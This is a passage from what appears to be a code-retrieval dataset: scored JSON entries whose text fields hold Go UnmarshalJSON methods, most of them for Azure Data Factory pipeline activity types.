fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "59aa809e55fc27a4c19eaf70590a84a0", "score": "0.6641923", "text": "func (f *ForEachActivityTypeProperties) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"activities\":\n\t\t\tf.Activities, err = unmarshalActivityClassificationArray(val)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"batchCount\":\n\t\t\terr = unpopulate(val, &f.BatchCount)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"isSequential\":\n\t\t\terr = unpopulate(val, &f.IsSequential)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"items\":\n\t\t\terr = unpopulate(val, &f.Items)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "163b9b11a2f1c53fd30e0c35d110b4d2", "score": "0.66242003", "text": "func (e *ExecuteDataFlowActivity) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"typeProperties\":\n\t\t\terr = unpopulate(val, &e.TypeProperties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn e.ExecutionActivity.unmarshalInternal(rawMsg)\n}", "title": "" }, { "docid": "9ebeb1e056a8ea37da2a4dca0bb93d02", "score": "0.6603188", "text": "func (a *AzureMLExecutePipelineActivity) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"typeProperties\":\n\t\t\terr = unpopulate(val, &a.TypeProperties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn a.ExecutionActivity.unmarshalInternal(rawMsg)\n}", "title": "" }, { "docid": "d98da351a49af6e90f4a357467e86e3e", "score": "0.6596512", "text": "func (u *UntilActivity) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"typeProperties\":\n\t\t\terr = unpopulate(val, &u.TypeProperties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn u.ControlActivity.unmarshalInternal(rawMsg)\n}", "title": "" }, { "docid": "b7bbec2fc10e92f2853d47e2d6fed0de", "score": "0.6503201", "text": "func (a *AzureMLUpdateResourceActivity) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"typeProperties\":\n\t\t\terr = unpopulate(val, &a.TypeProperties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn a.ExecutionActivity.unmarshalInternal(rawMsg)\n}", "title": "" }, { "docid": "09daba3ce96a979dc73f67d51e25fd7d", "score": "0.6486122", "text": "func (s *SynapseSparkJobDefinitionActivity) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"typeProperties\":\n\t\t\terr = unpopulate(val, &s.TypeProperties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn s.ExecutionActivity.unmarshalInternal(rawMsg)\n}", "title": "" }, { "docid": "f5fb839bc17c9dff1c06d38c7d185c46", "score": "0.64792573", "text": "func (a *FlatFeedActivity) UnmarshalJSON(b []byte) (err error) {\n\n\trawPayload := make(map[string]*json.RawMessage)\n\tmetadata := make(map[string]string)\n\n\terr = json.Unmarshal(b, &rawPayload)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor key, value := range rawPayload {\n\t\tlowerKey := strings.ToLower(key)\n\n\t\tif value == nil {\n\t\t\tcontinue\n\t\t}\n\n\t\tif lowerKey == \"id\" {\n\t\t\tvar strValue string\n\t\t\tjson.Unmarshal(*value, &strValue)\n\t\t\ta.ID = strValue\n\t\t} else if lowerKey == \"actor\" {\n\t\t\tvar strValue string\n\t\t\tjson.Unmarshal(*value, &strValue)\n\t\t\ta.Actor = FeedID(strValue)\n\t\t} else if lowerKey == \"verb\" {\n\t\t\tvar strValue string\n\t\t\tjson.Unmarshal(*value, &strValue)\n\t\t\ta.Verb = strValue\n\t\t} else if lowerKey == \"foreign_id\" {\n\t\t\tvar strValue string\n\t\t\tjson.Unmarshal(*value, &strValue)\n\t\t\ta.ForeignID = strValue\n\t\t} else if lowerKey == \"object\" {\n\t\t\tvar strValue string\n\t\t\tjson.Unmarshal(*value, &strValue)\n\t\t\ta.Object = FeedID(strValue)\n\t\t} else if lowerKey == \"target\" {\n\t\t\tvar strValue string\n\t\t\tjson.Unmarshal(*value, &strValue)\n\t\t\ta.Target = FeedID(strValue)\n\t\t} else if lowerKey == \"time\" {\n\t\t\tvar strValue string\n\t\t\terr := json.Unmarshal(*value, &strValue)\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\ttimeStamp, err := time.Parse(\"2006-01-02T15:04:05.999999\", strValue)\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\ta.TimeStamp = &timeStamp\n\t\t} else if lowerKey == \"data\" {\n\t\t\ta.Data = value\n\t\t} else if lowerKey == \"to\" {\n\n\t\t\tvar to1D []string\n\t\t\tvar to2D [][]string\n\n\t\t\terr := json.Unmarshal(*value, &to1D)\n\t\t\tif err != nil {\n\t\t\t\terr = nil\n\t\t\t\terr = json.Unmarshal(*value, &to2D)\n\t\t\t\tif err != nil {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tfor _, to := range to2D {\n\t\t\t\t\tif len(to) == 2 {\n\t\t\t\t\t\tfeedStr := to[0] + \" \" + to[1]\n\t\t\t\t\t\tto1D = append(to1D, feedStr)\n\t\t\t\t\t} else if len(to) == 1 {\n\t\t\t\t\t\tto1D = append(to1D, to[0])\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tfor _, to := range to1D {\n\n\t\t\t\tfeed := GeneralFeed{}\n\n\t\t\t\tmatch, err := regexp.MatchString(`^\\w+:\\w+ .*?$`, to)\n\t\t\t\tif err != nil {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tif match {\n\t\t\t\t\tfirstSplit := strings.Split(to, \":\")\n\t\t\t\t\tsecondSplit := strings.Split(firstSplit[1], \" \")\n\n\t\t\t\t\tfeed.FeedSlug = firstSplit[0]\n\t\t\t\t\tfeed.UserID = secondSplit[0]\n\t\t\t\t\tfeed.token = secondSplit[1]\n\t\t\t\t\ta.To = append(a.To, &feed)\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tmatch = false\n\t\t\t\terr = nil\n\n\t\t\t\tmatch, err = regexp.MatchString(`^\\w+:\\w+$`, to)\n\t\t\t\tif err != nil {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tif match {\n\t\t\t\t\tfirstSplit := strings.Split(to, \":\")\n\n\t\t\t\t\tfeed.FeedSlug = firstSplit[0]\n\t\t\t\t\tfeed.UserID = firstSplit[1]\n\t\t\t\t\ta.To = append(a.To, &feed)\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// if lowerKey != \"id\" && lowerKey != \"actor\" && lowerKey != \"verb\" && lowerKey != \"object\" && lowerKey != \"target\" && lowerKey != \"time\" && lowerKey != \"foreign_id\" && lowerKey != \"data\" && lowerKey != \"to\"\n\t\t} else {\n\t\t\tvar strValue string\n\t\t\tjson.Unmarshal(*value, &strValue)\n\t\t\tmetadata[key] = strValue\n\t\t}\n\t}\n\n\ta.MetaData = metadata\n\treturn nil\n\n}", "title": "" }, { "docid": "988fa062bcde32e760f0000f0f605166", "score": "0.64688545", "text": "func (e *ExecuteSSISPackageActivity) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"typeProperties\":\n\t\t\terr = unpopulate(val, &e.TypeProperties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn e.ExecutionActivity.unmarshalInternal(rawMsg)\n}", "title": "" }, { "docid": "784be0fc799091bd9b51fe453340598f", "score": "0.6452515", "text": "func (a *ActivityDependency) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"activity\":\n\t\t\terr = unpopulate(val, &a.Activity)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"dependencyConditions\":\n\t\t\terr = unpopulate(val, &a.DependencyConditions)\n\t\t\tdelete(rawMsg, key)\n\t\tdefault:\n\t\t\tif a.AdditionalProperties == nil {\n\t\t\t\ta.AdditionalProperties = map[string]interface{}{}\n\t\t\t}\n\t\t\tif val != nil {\n\t\t\t\tvar aux interface{}\n\t\t\t\terr = json.Unmarshal(val, &aux)\n\t\t\t\ta.AdditionalProperties[key] = aux\n\t\t\t}\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "769978e53be234d87585b41e770b0bf8", "score": "0.64471716", "text": "func (l *LookupActivityTypeProperties) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"dataset\":\n\t\t\terr = unpopulate(val, &l.Dataset)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"firstRowOnly\":\n\t\t\terr = unpopulate(val, &l.FirstRowOnly)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"source\":\n\t\t\tl.Source, err = unmarshalCopySourceClassification(val)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "a210c36222564cf3cc0ed97194c3e264", "score": "0.64367574", "text": "func (h *HDInsightStreamingActivity) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"typeProperties\":\n\t\t\terr = unpopulate(val, &h.TypeProperties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn h.ExecutionActivity.unmarshalInternal(rawMsg)\n}", "title": "" }, { "docid": "4c732e589ab6b142f3f8390acacc8f32", "score": "0.6416028", "text": "func (u *UntilActivityTypeProperties) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"activities\":\n\t\t\tu.Activities, err = unmarshalActivityClassificationArray(val)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"expression\":\n\t\t\terr = unpopulate(val, &u.Expression)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"timeout\":\n\t\t\terr = unpopulate(val, &u.Timeout)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "eb95de95803dc394ce8515beec4785e6", "score": "0.6414699", "text": "func (g *GetMetadataActivityTypeProperties) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"dataset\":\n\t\t\terr = unpopulate(val, &g.Dataset)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"fieldList\":\n\t\t\terr = unpopulate(val, &g.FieldList)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"formatSettings\":\n\t\t\tg.FormatSettings, err = unmarshalFormatReadSettingsClassification(val)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"storeSettings\":\n\t\t\tg.StoreSettings, err = unmarshalStoreReadSettingsClassification(val)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "54f761c8867f7be2d3f6ed8c9ccb9d41", "score": "0.63927996", "text": "func (h *HDInsightPigActivity) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"typeProperties\":\n\t\t\terr = unpopulate(val, &h.TypeProperties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn h.ExecutionActivity.unmarshalInternal(rawMsg)\n}", "title": "" }, { "docid": "2926e311d331efa1d879cc747bb9575c", "score": "0.6374354", "text": "func (tdea *TransparentDataEncryptionActivity) UnmarshalJSON(body []byte) error {\n\tvar m map[string]*json.RawMessage\n\terr := json.Unmarshal(body, &m)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor k, v := range m {\n\t\tswitch k {\n\t\tcase \"location\":\n\t\t\tif v != nil {\n\t\t\t\tvar location string\n\t\t\t\terr = json.Unmarshal(*v, &location)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\ttdea.Location = &location\n\t\t\t}\n\t\tcase \"properties\":\n\t\t\tif v != nil {\n\t\t\t\tvar transparentDataEncryptionActivityProperties TransparentDataEncryptionActivityProperties\n\t\t\t\terr = json.Unmarshal(*v, &transparentDataEncryptionActivityProperties)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\ttdea.TransparentDataEncryptionActivityProperties = &transparentDataEncryptionActivityProperties\n\t\t\t}\n\t\tcase \"id\":\n\t\t\tif v != nil {\n\t\t\t\tvar ID string\n\t\t\t\terr = json.Unmarshal(*v, &ID)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\ttdea.ID = &ID\n\t\t\t}\n\t\tcase \"name\":\n\t\t\tif v != nil {\n\t\t\t\tvar name string\n\t\t\t\terr = json.Unmarshal(*v, &name)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\ttdea.Name = &name\n\t\t\t}\n\t\tcase \"type\":\n\t\t\tif v != nil {\n\t\t\t\tvar typeVar string\n\t\t\t\terr = json.Unmarshal(*v, &typeVar)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\ttdea.Type = &typeVar\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "acac766c669813adea7cabc401bd565e", "score": "0.6370179", "text": "func (h *HDInsightMapReduceActivity) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"typeProperties\":\n\t\t\terr = unpopulate(val, &h.TypeProperties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn h.ExecutionActivity.unmarshalInternal(rawMsg)\n}", "title": "" }, { "docid": "12d6879d43b1efa58ae7da5118e55142", "score": "0.6323732", "text": "func (d *DataLakeAnalyticsUSQLActivity) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"typeProperties\":\n\t\t\terr = unpopulate(val, &d.TypeProperties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn d.ExecutionActivity.unmarshalInternal(rawMsg)\n}", "title": "" }, { "docid": "8c3f875d5fddc05e4c82b09a6034386e", "score": "0.63195485", "text": "func (v *Campaign) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonCce3d1beDecodeGithubComMailgunMailgunGoV3Events9(&r, v)\n\treturn r.Error()\n}", "title": "" }, { "docid": "492f2acfbaec1b00735414b8cfabbf5d", "score": "0.6291006", "text": "func (a *AzureDataExplorerCommandActivity) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"typeProperties\":\n\t\t\terr = unpopulate(val, &a.TypeProperties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn a.ExecutionActivity.unmarshalInternal(rawMsg)\n}", "title": "" }, { "docid": "a290b0c1eabe10228be727b400f7cc46", "score": "0.62637836", "text": "func (x *ELeagueAuditAction) UnmarshalJSON(b []byte) error {\n\tnum, err := protoimpl.X.UnmarshalJSONEnum(x.Descriptor(), b)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*x = ELeagueAuditAction(num)\n\treturn nil\n}", "title": "" }, { "docid": "e32ecc5b7e9e210f791bd1f6501adc0d", "score": "0.6261744", "text": "func (a *AgendaStatusType) UnmarshalJSON(b []byte) error {\n\tvar str string\n\tif err := json.Unmarshal(b, &str); err != nil {\n\t\treturn err\n\t}\n\t*a = AgendaStatusFromStr(str)\n\treturn nil\n}", "title": "" }, { "docid": "52e7658172e4b248bbfbd1302a53dfe3", "score": "0.62373817", "text": "func (h *HDInsightSparkActivity) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"typeProperties\":\n\t\t\terr = unpopulate(val, &h.TypeProperties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn h.ExecutionActivity.unmarshalInternal(rawMsg)\n}", "title": "" }, { "docid": "567dd8c375a7d2487c888398dbb899df", "score": "0.6229978", "text": "func (v *Validity) UnmarshalJSON(b []byte) error {\n\tvar p validity\n\tdec := json.NewDecoder(bytes.NewReader(b))\n\tdec.DisallowUnknownFields()\n\tif err := dec.Decode(&p); err != nil {\n\t\treturn err\n\t}\n\tif err := p.checkAllSet(); err != nil {\n\t\treturn err\n\t}\n\t*v = Validity{\n\t\tNotBefore: *p.NotBefore,\n\t\tNotAfter: *p.NotAfter,\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "4993c76c1b1f83332bc96df2fe8646c4", "score": "0.6179475", "text": "func (d *DeleteActivityTypeProperties) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"dataset\":\n\t\t\terr = unpopulate(val, &d.Dataset)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"enableLogging\":\n\t\t\terr = unpopulate(val, &d.EnableLogging)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"logStorageSettings\":\n\t\t\terr = unpopulate(val, &d.LogStorageSettings)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"maxConcurrentConnections\":\n\t\t\terr = unpopulate(val, &d.MaxConcurrentConnections)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"recursive\":\n\t\t\terr = unpopulate(val, &d.Recursive)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"storeSettings\":\n\t\t\td.StoreSettings, err = unmarshalStoreReadSettingsClassification(val)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "bd1f95194b910bdcde5214fedc393f8e", "score": "0.61742747", "text": "func (a *AppendVariableActivity) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"typeProperties\":\n\t\t\terr = unpopulate(val, &a.TypeProperties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn a.ControlActivity.unmarshalInternal(rawMsg)\n}", "title": "" }, { "docid": "fdc8e8d10ded192d08f6df070dea3fea", "score": "0.6165618", "text": "func (f *FeatureValidationResponse) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", f, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"featureType\":\n\t\t\terr = unpopulate(val, \"FeatureType\", &f.FeatureType)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"features\":\n\t\t\terr = unpopulate(val, \"Features\", &f.Features)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"objectType\":\n\t\t\terr = unpopulate(val, \"ObjectType\", &f.ObjectType)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", f, err)\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "4ac15e0473d55b46248f3e7aa6c28a51", "score": "0.6141402", "text": "func (s *SetVariableActivity) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"typeProperties\":\n\t\t\terr = unpopulate(val, &s.TypeProperties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn s.ControlActivity.unmarshalInternal(rawMsg)\n}", "title": "" }, { "docid": "555a45bc8fa6ae00c4786ec1e55f61bb", "score": "0.6137033", "text": "func (s *SynapseNotebookActivity) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"typeProperties\":\n\t\t\terr = unpopulate(val, &s.TypeProperties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn s.ExecutionActivity.unmarshalInternal(rawMsg)\n}", "title": "" }, { "docid": "18592d42934fdd50d96b69b995603d50", "score": "0.6132965", "text": "func (i *IfConditionActivityTypeProperties) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"expression\":\n\t\t\terr = unpopulate(val, &i.Expression)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"ifFalseActivities\":\n\t\t\ti.IfFalseActivities, err = unmarshalActivityClassificationArray(val)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"ifTrueActivities\":\n\t\t\ti.IfTrueActivities, err = unmarshalActivityClassificationArray(val)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "0514f6cf9916abc5e4fa6125c3cba3de", "score": "0.60949326", "text": "func (v *ValidationThreshold) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", v, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"grouping\":\n\t\t\terr = unpopulate(val, \"Grouping\", &v.Grouping)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"type\":\n\t\t\terr = unpopulate(val, \"Type\", &v.Type)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &v.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", v, err)\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "c27e605639d5edb9e32614d2f15be42d", "score": "0.60924494", "text": "func (x *CompanyAct) UnmarshalJSON(b []byte) error {\n\tnum, err := protoimpl.X.UnmarshalJSONEnum(x.Descriptor(), b)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*x = CompanyAct(num)\n\treturn nil\n}", "title": "" }, { "docid": "09b2ed0b29bb7b880684df938f9a1fad", "score": "0.60791236", "text": "func (g *GlobalValidation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", g, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"excludedPaths\":\n\t\t\terr = unpopulate(val, \"ExcludedPaths\", &g.ExcludedPaths)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"redirectToProvider\":\n\t\t\terr = unpopulate(val, \"RedirectToProvider\", &g.RedirectToProvider)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"unauthenticatedClientAction\":\n\t\t\terr = unpopulate(val, \"UnauthenticatedClientAction\", &g.UnauthenticatedClientAction)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", g, err)\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "0713757d73f0f3f9adedb77c58a3267b", "score": "0.60661155", "text": "func (s *SwitchActivity) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"typeProperties\":\n\t\t\terr = unpopulate(val, &s.TypeProperties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn s.ControlActivity.unmarshalInternal(rawMsg)\n}", "title": "" }, { "docid": "74e83c2004bb5e43df0cacdc8bc15384", "score": "0.6062264", "text": "func (w *WebActivityAuthentication) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"password\":\n\t\t\tw.Password, err = unmarshalSecretBaseClassification(val)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"pfx\":\n\t\t\tw.Pfx, err = unmarshalSecretBaseClassification(val)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"resource\":\n\t\t\terr = unpopulate(val, &w.Resource)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"type\":\n\t\t\terr = unpopulate(val, &w.Type)\n\t\t\tdelete(rawMsg, key)\n\t\tcase 